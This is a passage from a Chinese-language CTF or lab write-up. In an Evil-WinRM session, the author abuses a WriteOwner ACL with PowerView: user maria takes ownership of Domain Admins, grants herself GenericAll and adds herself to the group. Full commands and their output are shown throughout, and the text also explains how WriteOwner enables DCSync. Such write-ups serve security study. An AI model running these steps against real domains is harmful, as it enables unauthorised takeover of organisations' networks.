3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
*Evil-WinRM* PS C:\test> Get-DomainObjectAcl -Identity "domain admins"|? {$_.SecurityIdentifier -eq "S-1-5-21-4088429403-1159899800-2753317549-1106"}


ObjectDN : CN=Domain Admins,CN=Users,DC=object,DC=local
ObjectSID : S-1-5-21-4088429403-1159899800-2753317549-512
ActiveDirectoryRights : WriteOwner
BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 524288
SecurityIdentifier : S-1-5-21-4088429403-1159899800-2753317549-1106
AceType : AccessAllowed
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None

https://www.hackingarticles.in/abusing-ad-dacl-writeowner/

摘自上文

1
2
3
4
5
6
7
8
9
10
11
WriteOwner权限允许用户将对象的所有权更改为其他用户或主体,包括由攻击者控制的用户或主体。通过利用此权限,攻击者可以取得目标对象的所有权。

一旦攻击者成功将对象的所有权更改为其控制下的主体,他们就能够完全操纵该对象。这包括修改权限以授予自己或他人对该对象的完全控制权。例如,攻击者可以授予“完全控制”权限,允许不受限制地读取、写入或删除该对象。

组的 WriteOwner 权限允许授予向该组添加成员的权利。

用户的 WriteOwner 权限允许授予对用户对象的完全控制权。

计算机对象上的 WriteOwner 权限允许授予对计算机对象的完全控制权。

域对象上的 WriteOwner 权限允许授予执行 DCSync 操作的能力。

简而言之一个对象有一个目标对象的writeOwner权限,就被允许了修改目标对象的所持有者,这个权限在域里对应的设置名称是Modify owner

maria自然就可以修改domain admins的所有者为任意对象了。

修改组持有人为maria

1
*Evil-WinRM* PS C:\test> Set-DomainObjectOwner -Identity 'domain admins' -OwnerIdentity 'maria'

此时查看组信息需要带上SecurityMasks 指定Owner可以看到onwer信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
*Evil-WinRM* PS C:\test> Get-DomainObject -Identity "domain admins" -SecurityMasks Owner

Owner : S-1-5-21-4088429403-1159899800-2753317549-1106
grouptype : GLOBAL_SCOPE, SECURITY
admincount : 1
iscriticalsystemobject : True
samaccounttype : GROUP_OBJECT
samaccountname : Domain Admins
whenchanged : 1/15/2025 10:24:46 AM
objectsid : S-1-5-21-4088429403-1159899800-2753317549-512
objectclass : {top, group}
cn : Domain Admins
usnchanged : 159993
dscorepropagationdata : {1/15/2025 10:24:46 AM, 1/15/2025 10:23:46 AM, 1/15/2025 10:18:42 AM, 1/15/2025 10:13:38 AM...}
memberof : {CN=Denied RODC Password Replication Group,CN=Users,DC=object,DC=local, CN=Administrators,CN=Builtin,DC=object,DC=local}
description : Designated administrators of the domain
distinguishedname : CN=Domain Admins,CN=Users,DC=object,DC=local
name : Domain Admins
member : CN=Administrator,CN=Users,DC=object,DC=local
usncreated : 12345
whencreated : 10/21/2021 4:25:27 AM
instancetype : 4
objectguid : 1d7ece39-bdfb-4014-a50d-5b9d5e536324
objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=object,DC=local

转sid看更直观一些

1
2
*Evil-WinRM* PS C:\test> (Get-DomainObject -Identity "domain admins" -SecurityMasks Owner).Owner|ConvertFrom-SID
OBJECT\maria

既然组所有人是maria首先需要给自己先加一个ALL权限,那之后自然就可以为所欲为了。

1
*Evil-WinRM* PS C:\test> Add-DomainObjectAcl -Rights 'All' -TargetIdentity "Domain Admins" -PrincipalIdentity "maria"

此时查看多了一个GenericAll

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\test>  Get-DomainObjectAcl -Identity "domain admins"|? {$_.SecurityIdentifier -eq "S-1-5-21-4088429403-1159899800-2753317549-1106"}

ObjectDN : CN=Domain Admins,CN=Users,DC=object,DC=local
ObjectSID : S-1-5-21-4088429403-1159899800-2753317549-512
ActiveDirectoryRights : GenericAll
BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 983551
SecurityIdentifier : S-1-5-21-4088429403-1159899800-2753317549-1106
AceType : AccessAllowed
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None

可以将当前maria用户添加到域管组中

1
2
*Evil-WinRM* PS C:\test> net group "domain admins" maria /add
The command completed successfully.

get root


复习了powerview